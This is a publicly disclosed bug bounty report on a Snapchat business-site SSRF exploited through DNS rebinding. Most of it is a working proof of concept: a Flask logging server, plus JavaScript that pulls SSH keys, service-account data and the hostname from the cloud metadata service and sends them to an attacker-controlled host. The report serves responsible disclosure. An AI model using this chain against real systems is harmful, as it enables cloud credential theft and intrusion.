HexBrain

Snapchat · Report #530974

Server-Side Request Forgery using Javascript allows to exfill data from Google Metadata

Validstatus
421upvotes
30 Nov 2020disclosed

Summary

@nahamsec, @daeken and @ziot found a Server-Side Request Forgery (SSRF) vulnerability in https://business.snapchat.com which they exploit by providing a custom webpage configured to utilize DNS rebinding to access internal web endpoints like the Google Metadata Service. Using this they are able to mint tokens for the service-account assigned to the instance hosting the Chrome instances used for extracting webpages assets for media projects.

How it was found

Hey there, I was looking at your ads site with @daeken, we found some weird behavior in the import function of the creative app. Here are the steps:

#POC

  • Login to https://business.snapchat.com/
  • Go to creative library -> New Creative
  • Under "Topsnap Media", click on "Create"
  • Click on any of the templates and load it
  • Click on one of the images in the template -> Replace -> Import
  • This is where the SSRF exists. Where you fetch images for your creative (/api/v1/media/import)
  • Run this somewhere publicly accessible:
from flask import Flask, request
from flask_cors import CORS
from time import sleep

app = Flask(__name__)
CORS(app)

import logging
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)

@app.route("/")
def helloWorld():
        sleep(3)
        return 'hi!'

@app.route('/log')
def log():
        print request.args['msg']
        return ''

app.run(host='0.0.0.0')
  • Put this on another domain you control. Change demon.██████████ to the host where you put this html file, and change ssh.████ to the host you're running the timing script (above) on.
<script>
var logTimeServer = 'ssh.█████';
var attackServer = 'demon.██████';

function log(data) {
    var sreq = new XMLHttpRequest();
    sreq.open('GET', 'http://' + logTimeServer + ':5000/log?msg=' + encodeURI(data), true);
    sreq.send();
}

function get(url) {
    try {
        var req = new XMLHttpRequest();
        req.open('GET', url, false);
        req.setRequestHeader('X-Google-Metadata-Request', 'True');
        req.send(null);
        if(req.status == 200)
            return req.responseText;
        else
            return '[failed status=' + req.status + ']';
    } catch(err) {
        log(err);
    }
    return null;
}

log('Triggered in ' + window.location.href);

for(var i = 0; i < 60; ++i) {
    log('Loop ' + i);
    var req = new XMLHttpRequest();
    req.open('GET', 'http://' + logTimeServer + ':5000/', false);
    req.send();
}
log('SSH Keys: ' + get('http://' + attackServer + '/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json'));
log('Service Accounts: ' + get('http://' + attackServer + '/computeMetadata/v1/instance/service-accounts/?recursive=true&alt=json'));
log('Hostname: ' + get('http://' + attackServer + '/computeMetadata/v1/instance/hostname'));
</script>
  • Now hit /api/v1/media/import on ads.snapchat.com, with the URL parameter http://demon.███████/ssrf.html (or wherever you run it)
  • Immediately after requesting ssrf.html, switch the DNS on the domain to point to 169.254.169.254, and wait 3 minutes. ssrf.html needs to be running on port 80, that way when the DNS changes, it starts talking to the metadata service.

Impact

#SSH Keys:

SSH Keys: "██████"

#Hostname: █████████

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original